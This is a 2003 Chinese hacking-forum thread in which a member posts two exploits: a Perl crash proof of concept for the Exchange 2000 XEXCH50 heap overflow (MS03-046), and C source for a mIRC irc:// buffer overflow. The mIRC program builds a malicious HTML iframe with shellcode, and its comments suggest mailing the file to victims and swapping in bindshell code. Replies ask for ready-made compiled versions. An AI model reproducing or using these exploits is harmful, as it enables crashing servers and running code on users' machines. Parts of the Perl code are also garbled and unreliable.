找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
.COM/.NET/.ORG 国际域名注册全功能虚拟主机/免备案虚拟主机
查看: 2271|回复: 10

公布两个最新漏洞+溢出代码

[复制链接]

6

主题

47

回帖

3230

积分

论坛元老

积分
3230
发表于 2003-11-18 22:56:00 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
Microsoft Exchange 2000 XEXCH50 Heap Overflow PoC (MS03-046)

#!/usr/bin/perl -w
##################
# ms03-046.pl
# This vulnerability allows a remote unauthenticated user to overwrite big chunks
# of the heap used by the inetinfo.exe process. Reliably exploiting this bug is
# non-trivial; even though the entire buffer is binary safe (even nulls) and can be
# just about any size, the actual code that crashes varies widely with each request.
# During the analysis process, numerous combinations of request size, concurrent
# requests, pre-allocations, and alternate trigger routes were examined and not a
# single duplicate of location and data offset was discovered. Hopefully the magic
# combination of data, size, and setup will be found to allow this bug to be reliably
# exploited.
# minor bugfix: look for 354 Send binary data
# by maple change

use strict;
use IO::Socket;

my $host = shift() ││ usage();
my $mode = shift() ││ \"CHECK\";
my $port = 25;


if (uc($mode) eq \"CHECK\") { check() }
if (uc($mode) eq \"CRASH\") { crash() }

usage();


sub check
{
my $s = SMTP($host, $port);
if (! $s)
{
print \"
Error establishing connection to SMTP service.\n\";
exit(0);
}

print $s \"XEXCH50 2 2\r\n\";
my $res = <$s>;
close ($s);

# a patched server only allows XEXCH50 after NTLM authentication
if ($res !~ /354 Send binary/i)
{
print \"
This server has been patched or is not vulnerable.\n\";
exit(0);
}

print \"
This system is vulnerable: $hostport\n\";

exit(0);
}


sub crash
{
my $s = SMTP($host, $port);
if (! $s)
{
print \"
Error establishing connection to SMTP service.\n\";
exit(0);
}

# the negative value allows us to overwrite random heap bits
print $s \"XEXCH50 -1 2\r\n\";
my $res = <$s>;

# a patched server only allows XEXCH50 after NTLM authentication
if ($res !~ /354 Send binary/i)
{
print \"
This server has been patched or is not vulnerable.\n\";
exit(0);
}

print \"
Sending massive heap-smashing string...\n\";
print $s (\"META\" x 16384);

# sometimes a second connection is required to trigger the crash
$s = SMTP($host, $port);

exit(0);
}


sub usage
{
print STDERR \"Usage: $0 <host> [CHECK│CRASH]\n\";
exit(0);

}

sub SMTP
{
my ($host, $port) = @_;
my $s = IO::Socket::INET->new
(
PeerAddr => $host,
PeerPort => $port,
Proto => \"tcp\"
) ││ return(undef);

my $r = <$s>;
return undef if !$r;

if ($r !~ /Microsoft/)
{
chomp($r);
print STDERR \"
This does not look like an exchange server: $r\n\";
return(undef);
}

print $s \"HELO X\r\n\";
$r = <$s>;
return undef if !$r;

print $s \"MAIL WROM: TTZRCLBDX
$r = <$s>;
return undef if !$r;

print $s \"RCPT TO: Administrator\r\n\";
$r = <$s>;
return undef if !$r;

return($s);
}
回复

使用道具 举报

6

主题

47

回帖

3230

积分

论坛元老

积分
3230
 楼主| 发表于 2003-11-18 22:57:00 | 显示全部楼层
mIRC v6.1 \\\"IRC\\\" protocol Remote Buffer overflow Exploit



/** remote mirc < 6.11 exploit by maple change

**

** TESTED ON: Windows XP (No SP, Ducth) Build: 2600.xpclient.010817-1148

**

** A few days ago, I saw a mIRC advisory on packetstorm [1] and was surprised

** nobody had written an exploit yet. So I decided to start writing one.

** Since this was my first time coding a exploit for windows, it took some

** research before I got the hang of it. (Ollydbg is much more confusing then GDB btw )

**

** This exploits (ab)uses the bug in irc:// URI handling. It contains a buffer-

** overflow, and when more then 998 bytes are given EIP will be overwritten.

**

** At first I was thinking of a simple solution to get this exploitable. Since

** giving an URI with > 998 chars to someone on IRC is simply NOT done

** Then I remember the iframe-irc:// flaw found by uuuppzz [2]

**

** This exploit will write an malicious HTML file containing an iframe executing the

** irc:// address. So you can give this to anyone on IRC for example

** The shellcode included does only execute cmd.exe, because I don\'t want to be this

** a scriptkiddy util. But, replacing the shellcode with your own is also possible.

** An 400 bytes shellcode (bindshell etc.) easily fits in the buffer, but it may require

** some tweaking.

** After exiting the cmd.exe mIRC will crash, so shellcode its not 100% clean, but who carez

**

** Oh yeah, I almost forgot.. this exploit also works even if mIRC isn\'t started.

** mIRC will start automatically when an irc:// is executed, so you can also send somebody

** and HTML email containing the evil HTML code. (only for poor clients like Outlook Express )

** :-)

**/



#include <stdio.h>





/* Stupid cmd.exe exec shellcode. hey! I r !evil */

unsigned char shellcode[] =

   \\\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\\"

   \\\"\\x8b\\xec\\x55\\x8b\\xec\\x68\\x65\\x78\\x65\\x20\\x68\\x63\\x6d\\x64\\x2e\\x8d\\x45\\xf8\\x50\\xb8\\\"

   \\\"\\x44\\x80\\xbf\\x77\\\"         //   0x78bf8044 <- adress of system()

   \\\"\\xff\\xd0\\\";            //    call system()

   



char jmpback[] =

\\\"\\xE9\\xCF\\xFB\\xFF\\xFF\\\"; // my leet negative JMP shellcode



char buffer[1100], fstring[1300]; // heh, need to clean this up



int main(int argc, char *argv[]) {

   FILE *evil;



   fprintf(stdout, \\\"---------------------------------------------\\n\\\"

         \\\"mIRC < 6.11 remote exploit by maple change\\n\\\"

\\\"Exploit downloaded on 21resource.com\\n\\\"

         \\\"---------------------------------------------\\n\\n\\\");



   // NOPslides are cool

   memset(buffer, 0x90, sizeof(buffer) - 1);



   // place shellcode in buffer

   memcpy(buffer + 20, shellcode, strlen(shellcode));



   // took this one from ntdll.dll (jmp esp)

   *(long *)&buffer[994] = 0x77F4801C;



   // place jmpback shellcode in buffer

   memcpy(buffer + 20 + strlen(shellcode) + 1010, jmpback, strlen(jmpback));



   printf(\\\"[+] Evil buffer constructed\\n\\\");





   // open HTML file for writing

   if((evil = fopen(\\\"index.html\\\", \\\"a+\\\")) != NULL) {



      // construct evil string

      sprintf(fstring, \\\"<iframe src=\\\\\"irc://%s\\\\\"></iframe>\\\", buffer);



      // write string to file

      fputs(fstring, evil);



      // close file

      fclose(evil);



      printf(\\\"[+] Evil HTML file written!\\n\\\");

      return(0);

   } else {

      // uh oh.. :/

      fprintf(stderr, \\\"ERROR: Could not open index.html for writing!\\n\\\");

      exit(1);

   }

}
网络安全技术
回复 支持 反对

使用道具 举报

281

主题

3228

回帖

55万

积分

管理员

积分
551867
发表于 2003-11-18 22:59:36 | 显示全部楼层
[emb7]
网路游侠 www.youxia.org
回复 支持 反对

使用道具 举报

11

主题

97

回帖

3568

积分

论坛元老

积分
3568
发表于 2003-11-19 10:06:34 | 显示全部楼层
编程俺可不行~,有现成工具吗?

[em13]
回复 支持 反对

使用道具 举报

6

主题

47

回帖

3230

积分

论坛元老

积分
3230
 楼主| 发表于 2003-11-19 11:00:45 | 显示全部楼层
自己拿回去编译,想吃白食可学不到东西哦
网络安全技术
回复 支持 反对

使用道具 举报

281

主题

3228

回帖

55万

积分

管理员

积分
551867
发表于 2003-11-19 14:31:45 | 显示全部楼层
下一个ActivePerl就可以了。^_^
网路游侠 www.youxia.org
回复 支持 反对

使用道具 举报

11

主题

97

回帖

3568

积分

论坛元老

积分
3568
发表于 2003-11-19 17:11:15 | 显示全部楼层
已经发现了~~





[emb2][emb2]
回复 支持 反对

使用道具 举报

41

主题

110

回帖

3981

积分

论坛元老

积分
3981
发表于 2003-11-26 20:55:42 | 显示全部楼层
问一下  那个乱七八糟的东西 是用什么东西编译啊??



偶不会  教偶哦[emb12][emb12][emb13]
回复 支持 反对

使用道具 举报

0

主题

16

回帖

3067

积分

论坛元老

积分
3067
发表于 2003-11-29 22:12:08 | 显示全部楼层
谁作件好事,编译一下吧。
回复 支持 反对

使用道具 举报

41

主题

110

回帖

3981

积分

论坛元老

积分
3981
发表于 2003-11-30 09:31:33 | 显示全部楼层
偶不会编译 有谁帮我啊!!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|西京校友网 ( 陕ICP备11003551号-5 )

GMT+8, 2025-5-3 13:08 , Processed in 0.086383 second(s), 7 queries , MemCache On.

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表